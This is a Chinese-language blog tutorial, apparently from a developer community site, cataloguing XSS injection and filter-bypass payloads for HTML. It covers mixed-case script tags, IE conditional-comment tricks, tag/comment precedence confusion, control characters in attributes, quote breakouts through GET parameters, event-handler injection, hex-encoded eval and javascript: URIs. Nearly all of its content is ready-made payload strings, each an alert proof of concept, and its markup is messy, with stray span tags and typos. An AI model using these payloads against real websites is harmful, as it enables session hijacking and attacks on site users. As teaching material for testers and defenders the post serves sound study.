XSS攻击之HTTP代码注入

HTML代码一般由标签名、属性名、属性值、文本、注释等组成。我们进行代码注入攻击,就是在这几个地方进行。

一、标签绕过

1、对标签名进行大小写混合,并不影响代码执行,有时却可以绕过过滤器。如:

<span style="font-size:14px;"><sCRipT></ScrIPt></span>

2、利用现代浏览器对XHTML的支持,可以在某些浏览器的某些版本插入XML代码、SVG代码或未知标签。如:

<span style="font-size:14px;"><XSS sytle="xss:expression(alert(1)) "/></span>
<pre name="code" class="javascript"><span style="font-size:14px;"><BGSOUND src="javascript:alert(1);" />等。</span>
<span style="font-size:14px;">3、分析过滤器缺陷,进行针对性绕过。分析过滤器缺陷需要长期的积累。</span>
<span style="font-size:14px;">4、利用注释绕过。如:</span>
<pre name="code" class="javascript"><span style="font-size:14px;"><!--aaa<!--aaa-->alert(1)--></span>
<span style="font-size:14px;">针对IE的特殊注释。</span>
<pre name="code" class="html"><span style="font-size:14px;"><!-- [if ie]>所有的IE可识别<![endif]-->
<!--[if]><script>alert(1)</script-->
<!--[if <img src=x οnerrοr=alert(2)//]>--></span>


 
5、利用标签、注释之间优先级的差异绕过。 
 
<pre name="code" class="javascript"><span style="font-size:14px;"><!-- <a href = "--><img src="javascript:alert(2) //" >test</a></span>
<pre name="code" class="html"><span style="font-size:14px;"><title><a href="</title><script>alert(1)</script>//"></span>
<pre name="code" class="html"><span style="font-size:14px;"><style><a href="</sytle><img src=x οnerrοr=alert(1)//"></span>
<pre name="code" class="html"><span style="font-size:14px;"><? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>"></span>
二、属性注入
 
<pre name="code" class="html"><span style="font-size:14px;">HTML属性按用途分,大致可以分为普通属性、事件属性、资源属性几种。</span>
1、在属性值的头部、尾部插入系统控制字符。
 
<pre name="code" class="html"><span style="font-size:14px;"><a &#8 href="&#32javascript:alert(1)">test</a>(注:&#8和&#32都是HTML编码,对应的是空格)(可在IE、Firefox、Chrome下执行)</span>
<span style="font-size:14px;"><a &#8 href="&#32javascript:alert(1)&#27">test</a>(&#27对应的也是空格,可能是tab)(可在IE和Firefox下执行)</span>
<span style="font-size:14px;">2、普通属性</span>
<span style="font-size:14px;">(1)如果我们可控制的是属性值</span>
<span style="font-size:14px;">a、若属性值没有用引号</span>
<span style="font-size:14px;">如:<font color=<?=$_GET['url']?> /></span>
<span style="font-size:14px;">利用方法比较简单,使用?url=x%20οnerrοr=alert(1)就可以使代码执行了。</span>
<span style="font-size:14px;">b、若属性值有引号</span>
<span style="font-size:14px;">如:<font color="<?_GET['url']?> /></span>
<span style="font-size:14px;">构造引号使引号闭合。?url=x"%20οnerrοr=alert(1)//</span>
<span style="font-size:14px;">若引号被过滤,或者做了HTMLENCODE转义,就放弃吧。不过有两个特例。</span>
<span style="font-family:System;font-size:14px;"><img src="x` ` <script>alert(1)</script>"` ` >(IE6)</span>
<span style="font-family:System;font-size:14px;"><img src= alt=" οnerrοr=alert(1)// " >(IE、Firefox、Chrome、Opera等)</span>
<span style="font-family:System;font-size:14px;">(2)事件属性</span>
<span style="font-family:System;font-size:14px;">除了上述方法外,最直接的方式是直接插入我们的代码等待用户来触发:</span>
<span style="font-family:Times New Roman;font-size:14px;"><a href="#" οnclick="do_some_func(\"<?_GET['a'] ?> \")">test</a></span>
<span style="font-size:14px;">可以构造如下输入:?a=x');alert(1);//或者?a=',alert(1),'</span>
<span style="font-size:14px;">代入如下:</span>
<span style="font-size:14px;"><a href="#" οnclick="do_some_func('x');alert(1);//')">test</a></span>
<span style="font-size:14px;"><a href="#" οnclick="do_some_func('',alert(1),')")">test</a>(注:利用了一个函数可以在另外一个函数中执行的特性)</span>
<span style="font-family:System;font-size:14px;">如果是一句话,可以直接写,如果是多句,则可以定义一个匿名方法,语句如下:</span>
<span style="font-family:Verdana;font-size:14px;"><a href="#" οnclick="do_some_func('', function(){alert(1); alert(2);}, '')">test</a></span>
<span style="font-family:Verdana;font-size:14px;">也可以通过十六进制编码的方式将多句合在一起。</span>
<span style="font-family:Verdana;font-size:14px;"><a href=”#“ οnclick="do_some_func('', eval('\x61\x6c\65.........'), '')">test</a></span>
<span style="font-family:Verdana;font-size:14px;">(3)资源类属性</span>
<span style="font-family:Verdana;font-size:14px;">资源类属性,属性值通过为URL,属性名一般是src或href。这些属性一般支持浏览器的预定义协议,比如http、ftp、file、https、javascript、vbscript、mailto、data等。这其中,有的是网络协议,比如http、ftp等,有的是本地协议,比如javascript、vbscript等。本地协议一般称之为伪协议,伪协议可以调用本地程序执行命令。</span>
<span style="font-family:Verdana;font-size:14px;">如:<img src  = "javascript:alert(1)" ></span>
<span style="font-family:Verdana;font-size:14px;">但这些一般都被屏蔽了(IE6以前,IE6没有屏蔽),现在可用的如:<iframe src="javascript:alert(1)"></span>
<span style="font-family:Verdana;font-size:14px;">
</span>
<span style="font-family:Verdana;">
</span>


 

</pre>


 



 
</pre>

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值